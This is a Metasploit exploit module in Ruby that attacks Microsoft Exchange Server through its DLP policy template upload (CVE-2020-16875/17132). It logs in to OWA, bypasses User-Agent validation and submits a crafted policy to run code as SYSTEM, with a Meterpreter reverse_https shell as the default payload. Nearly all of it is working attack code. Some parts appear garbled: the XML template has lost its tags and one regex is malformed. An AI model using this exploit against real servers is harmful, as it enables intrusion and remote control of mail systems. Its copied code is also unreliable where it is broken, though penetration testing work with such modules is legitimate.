## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Powershell def initialize(info = {}) super( update_info( info, 'Name' => 'Microsoft Exchange Server DlpUtils AddTenantDlpPolicy RCE', 'Description' => %q{ This vulnerability allows remote attackers to execute arbitrary code on affected installations of Exchange Server. Authentication is required to exploit this vulnerability. Additionally, the target user must have the "Data Loss Prevention" role assigned and an active mailbox. If the user is in the "Compliance Management" or greater "Organization Management" role groups, then they have the "Data Loss Prevention" role. Since the user who installed Exchange is in the "Organization Management" role group, they transitively have the "Data Loss Prevention" role. The specific flaw exists within the processing of the New-DlpPolicy cmdlet. The issue results from the lack of proper validation of user-supplied template data when creating a DLP policy. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. Tested against Exchange Server 2016 CU19 on Windows Server 2016. }, 'Author' => [ 'Leonard Rapp', # Patch Diffing and Analysis 'Markus Vervier', # PoC / Exploitation 'Steven Seeley', # (mr_me) for the original PoC and good discussions 'Yasar Klawohn', # PoC / Bypass 'wvu', # Module 'Spencer McIntyre' # Professional coat-tail rider ], 'References' => [ ['CVE', '2020-16875'], ['CVE', '2020-17132'], ['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16875'], ['URL', 'https://support.microsoft.com/en-us/help/4577352/security-update-for-exchange-server-2019-and-2016'], ['URL', 'https://srcincite.io/advisories/src-2020-0019/'], ['URL', 'https://srcincite.io/pocs/cve-2020-16875.py.txt'], ['URL', 'https://srcincite.io/pocs/cve-2020-16875.ps1.txt'], ['URL', 'https://srcincite.io/blog/2021/01/12/making-clouds-rain-rce-in-office-365.html'], ['URL', 'https://www.x41-dsec.de/security/advisory/exploit/research/2020/12/21/x41-microsoft-exchange-rce-dlp-bypass/'] ], 'DisclosureDate' => '2021-01-12', # Original public disclosure: 2020-09-08, latest patch bypass supported by this module: 2021-01-12 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'Privileged' => true, 'Targets' => [ ['Exchange Server <= 2016 CU19 and 2019 CU8', {}] # December 2020 updates ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'SSL' => true, 'PAYLOAD' => 'windows/x64/meterpreter/reverse_https', 'HttpClientTimeout' => 5, 'WfsDelay' => 10 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ IOC_IN_LOGS, ACCOUNT_LOCKOUTS, # Creates a concurrent OWA session CONFIG_CHANGES, # Creates a new DLP policy ARTIFACTS_ON_DISK # Uses a DLP policy template file ] } ) ) register_options([ Opt::RPORT(443), OptString.new('TARGETURI', [true, 'Base path', '/']), OptString.new('USERNAME', [false, 'OWA username']), OptString.new('PASSWORD', [false, 'OWA password']) ]) end def post_auth? true end def username datastore['USERNAME'] end def password datastore['PASSWORD'] end def vuln_builds # https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019 [ [Rex::Version.new('15.1.225'), Rex::Version.new('15.1.2176')], # Exchange Server 2016 [Rex::Version.new('15.2.196'), Rex::Version.new('15.2.792')] # Exchange Server 2019 ] end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/owa/auth/logon.aspx') ) unless res return CheckCode::Unknown('Target did not respond to check.') end # Hat tip @tsellers-r7 # # unless res.code == 200 && %r{/owa/auth/(?[\d.]+)/} =~ res.body return CheckCode::Unknown('Target does not appear to be running Exchange Server.') end if vuln_builds.any? { |build_range| Rex::Version.new(build).between?(*build_range) } return CheckCode::Appears("Exchange Server #{build} is a vulnerable build.") end CheckCode::Safe("Exchange Server #{build} is not a vulnerable build.") end def exploit owa_login create_dlp_policy(retrieve_viewstate) end def owa_login unless username && password fail_with(Failure::BadConfig, 'USERNAME and PASSWORD are required for exploitation') end print_status("Logging in to OWA with creds #{username}:#{password}") res = send_request_cgi!({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/owa/auth.owa'), 'vars_post' => { 'username' => username, 'password' => password, 'flags' => '', 'destination' => full_uri('/owa/', vhost_uri: true) }, 'keep_cookies' => true }, datastore['HttpClientTimeout'], 2) # timeout and redirect_depth unless res fail_with(Failure::Unreachable, 'Failed to access OWA login page') end unless res.code == 200 && cookie_jar.cookies.any? { |cookie| cookie.name.start_with?('cadata') } if res.body.include?('There are too many active sessions connected to this mailbox.') fail_with(Failure::NoAccess, 'Reached active session limit for mailbox') end fail_with(Failure::NoAccess, 'Failed to log in to OWA with supplied creds') end if res.body.include?('Choose your preferred display language and home time zone below.') fail_with(Failure::NoAccess, 'Mailbox is active but not fully configured') end print_good('Successfully logged in to OWA') end def retrieve_viewstate print_status('Retrieving ViewState from DLP policy creation page') res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/ecp/DLPPolicy/ManagePolicyFromISV.aspx'), 'agent' => '', # HACK: Bypass Exchange's User-Agent validation 'keep_cookies' => true ) unless res fail_with(Failure::Unreachable, 'Failed to access DLP policy creation page') end unless res.code == 200 && (viewstate = res.get_html_document.at('//input[@id = "__VIEWSTATE"]/@value')&.text) fail_with(Failure::UnexpectedReply, 'Failed to retrieve ViewState') end print_good('Successfully retrieved ViewState') viewstate end def create_dlp_policy(viewstate) print_status('Creating custom DLP policy from malicious template') vprint_status("DLP policy name: #{dlp_policy_name}") form_data = Rex::MIME::Message.new form_data.add_part(viewstate, nil, nil, 'form-data; name="__VIEWSTATE"') form_data.add_part( 'ResultPanePlaceHolder_ButtonsPanel_btnNext', nil, nil, 'form-data; name="ctl00$ResultPanePlaceHolder$senderBtn"' ) form_data.add_part( dlp_policy_name, nil, nil, 'form-data; name="ctl00$ResultPanePlaceHolder$contentContainer$name"' ) form_data.add_part( dlp_policy_template, 'text/xml', nil, %(form-data; name="ctl00$ResultPanePlaceHolder$contentContainer$upldCtrl"; filename="#{dlp_policy_filename}") ) send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/ecp/DLPPolicy/ManagePolicyFromISV.aspx'), 'agent' => '', # HACK: Bypass Exchange's User-Agent validation 'ctype' => "multipart/form-data; boundary=#{form_data.bound}", 'data' => form_data.to_s }, 0) end def dlp_policy_template # https://docs.microsoft.com/en-us/exchange/developing-dlp-policy-template-files-exchange-2013-help <<~XML 4 #{Faker::Company.name} #{dlp_policy_name} #{Faker::Hacker.say_something_smart} XML end def dlp_policy_name @dlp_policy_name ||= "#{Faker::Company.name} Data" end def dlp_policy_filename @dlp_policy_filename ||= "#{rand_text_alphanumeric(8..42)}.xml" end end